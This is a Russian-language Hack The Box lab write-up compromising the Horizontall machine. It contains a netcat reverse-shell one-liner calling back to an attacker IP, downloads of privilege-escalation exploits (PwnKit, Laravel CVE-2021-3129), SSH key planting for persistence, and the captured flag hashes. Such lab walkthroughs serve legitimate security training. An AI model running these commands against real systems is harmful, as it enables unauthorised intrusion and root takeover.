---
# System prepended metadata

title: HTB Horizontall Practic Network Infrastructure Attack

---

#  HTB Horizontall Practic Network Infrastructure Attack
Поиск http сервисов
![](https://i.imgur.com/xpTmNvf.png)

Смотрим стек технологий с помощью whatweb
![](https://i.imgur.com/iMkXH7t.png)

Переберем директории с помощью gobuster
![](https://i.imgur.com/vIsVL1Y.png)

![](https://i.imgur.com/0y9in53.png)

Перебираем виртуальные хосты с помощью gobuster
![](https://i.imgur.com/Bfoi6SQ.png)


**whatweb** - Находим работающие сервисы 
Находим Strapi <strapi.io>
![](https://i.imgur.com/MFMXNje.png)

Новое веб-приложение - Переберем директории с помощью gobuster
![](https://i.imgur.com/L3wzrpG.png)

Находим в папке Admin strapi
![](https://i.imgur.com/3eNJ6hG.png)

Далее ищем эксплойты на strapi.io
Нашли https://www.exploit-db.com/exploits/50239 
Скачали

## Эксплуатация
Запишем в файл nano /etc/hosts api-prod.horizontall.htb c ip машины

Запускаем эксплойт
python3 50239.py http://api-prod.horizontall.htb

Эксплойт отработал, сбросил пароль администратора, назначил дефолтный пароль и выдал новый токен
![](https://i.imgur.com/7dYNF6v.png)
![](https://i.imgur.com/Br3THTR.png)

Проверяем работает ли эксплойт, пингуем сами себя
![](https://i.imgur.com/G8UMXnh.png)

Т.к. данный экслойт слепой, мы поищем возможность получить reverce shell 
Cмотрим payload all the things на ресурсе https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
Есть большое кол-во реверс шеллов, но в данном случае будем использовать Netcat BusyBox

* Поднимем Listener 
nc -nlvp 1234

* Инициализируем подключение командой
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 1234 >/tmp/f
вывод команд через файл (rm /tmp/f;mknod /tmp/f p;cat /tmp/f)

![](https://i.imgur.com/KSO31WE.png)


* Для удобства перейдем в bash.(заспавнили баш)

python3 -c 'import pty;pty.spawn("/bin/bash")'
![](https://i.imgur.com/rIOMvHn.png)

### Повышаем привилегии с помощью linpeas
скачиваем на хост 
wget https://github.com/carlospolop/PEASS-ng/releases/download/20220529/linpeas.sh
поднимаем сервер 
скачиваем linpeas на атакуемую машину
![](https://i.imgur.com/deSWHfm.png)

запускаем 
bash linpeas.sh

Нашли CVE-2021-4034
Vulnerable to CVE-2021-4034
скачали c гугла
перешли
сконструировали эксплойт
упаковали в архив  
![](https://i.imgur.com/bqxkl3T.png)
![](https://i.imgur.com/Bdamttv.png)

Теперь поднимаем сервер и скачиваем на атакуемую машину эксплойт 

* wget http://10.10.14.19/exploit.tar

![](https://i.imgur.com/maKlTjv.png)


Распаковываем и даем права на исполнение

* tar -xvf exp.tar
* chmod + cve-2021-4034

Запускаем

* ./cve-2021-4034

![](https://i.imgur.com/A6AbQ3T.png)

**Получили Root, через CVE**
Нашли файл User.txt
8aca5b99e667756f08133d261bea5ac0

![](https://i.imgur.com/AQepoQH.png)

нашли Root flag
69e2a85d1967b3221f785872ad1a8e39

![](https://i.imgur.com/ovL7tFz.png)

____________________________
## Laravel
Повысить привилегии на машине Horizontall до root через проброс порта **через SSH-туннель** и эксплуатацию RCE-уязвимости в **Laravel**.

![](https://i.imgur.com/kK0tEk0.png)

Cмотрим открытые порты на машине 
* netstat -a  
* ss -tnlp

Выдергиваем curl код страницы 

* curl localhost:8000

![](https://i.imgur.com/B0mX8zf.png)

генерим ssh ключ
* ssh-keygen 
переходим в .ssh
копируем сгенерированный ключ с id_rsa.pub 
![](https://i.imgur.com/nD0n892.png)

вставляем код на атакуемую машину в папку .ssh в файл authorized_keys
```
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGS5Yii1/OSfYc2bVq2lbDHQNUgDUVEczgsbt4BT9Bu5KOLaYJwf6e0nvIM99cnKTh0aVAGY0paTzCDDXi2j5g6lTq+fvdHS6Ts1L2Q27KGZ4Of5SjdFGSOfajGfvasw4L6huWL/+2M6vqxyVr8V1+RP5v7hSd/xfYqi0VsmlvtDhAN2Ob0opPizqqt2dM5Kq9JweMpNEnbk73Y9mZ1nyOaIEwm4t8T4e6Xx1dvgwxDDNywYd+1su0xyVHNJKb5RgbkhXaWRr8G0ewL7ID30vGjKn5SggoynY4AFZt4PrrRqiYMwgx0SsX8DGJWOKWNMe9mt1+yrVq4XbqSls0MzVO/GUqDCz+5Mmfu+JxsqpRr6djp8VM3NIrMJoapshxvP2qaZIKl0WbAvkOnIo2tPnP+9KiZSKTgJBfyB0NrZ3Nu9hqnQGaU+HO3HVmQTdyXLVbvztjqGRIyHiSw/szXu0qS/35nAqeVw8sWZOMW4DWtndPVThq03G4A3fWTDxBBg0= root@kali" >> authorized_keys

```

![](https://i.imgur.com/inzMfQ8.png)

Генерим ssh ключ на атакуемой машине
Вставляем его в файл authorized_keys
(Получается на атакуемой машине в файле находятся 2 ключа)
```
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe8VVEHbc4ih16AWJRimT+97O0yBzA1qHNfNinB/Luzt6ZvMve63eJ+PqgMdetEuhNScz9n0IBx8EphgHWIoWpNSMw4nJDnRZbqKVbZW/IRahilUMX0NSEHoyBiQDG07qNn/IsZRZwDDT+bmkgaBQDph5oqO1fOetlFyJvZ5kPwH/2jI1NJxKZ7E3lFVOeR9hp5NumUgzbN5xeFVs8twChygvs95OTXc8ji+sntAzIMJTx4sxsnJPY7gMcgvlAINWHalhzmQDAw5LROdIggPq7vjxY1NU8GxwqTEA2/V7qqPUDJQY0N9jaMaf1S/lhNAh0aCU/stxV6tR+iX0qvsaH strapi@horizontall" >> authorized_keys

```




![](https://i.imgur.com/jKhtp2M.png)



![](https://i.imgur.com/DU3fMYt.png)



Далее мы перенаправляем наш порт на порт злоумышленника 
ssh -L 8000:127.0.0.1:8000 strapi@horizontall.htb

![](https://i.imgur.com/ZcPJgYM.png)

Переходим в браузер и октрываем 
127.0.0.1:8000

![](https://i.imgur.com/XGVnoa9.png)
 
 
 С помощью searchsploit мы поищем узявимости на laravel
 ![](https://i.imgur.com/fx1Lbei.png)

Попробовал получить флаг рута с помощью эксплойта 49424.py 
Но выдал ошибку и закрыл ssh соединение
![](https://i.imgur.com/hJrLHOl.png)


Воспользуемся эксплойтом **CVE-2021-3129** https://github.com/nth347/CVE-2021-3129_exploit

скачаем его на хост
* git clone https://github.com/nth347/CVE-2021-3129_exploit.git
Перейдем в папку 
* cd CVE-2021-3129_exploit 
дадим права
* chmod +x exploit.py

Запускаем скрипт с выводом ID
* ./exploit.py http://localhost:8000 Monolog/RCE1 id

![](https://i.imgur.com/0mdKteF.png)

![](https://i.imgur.com/FEubNrk.png)

Получили доступ Рута.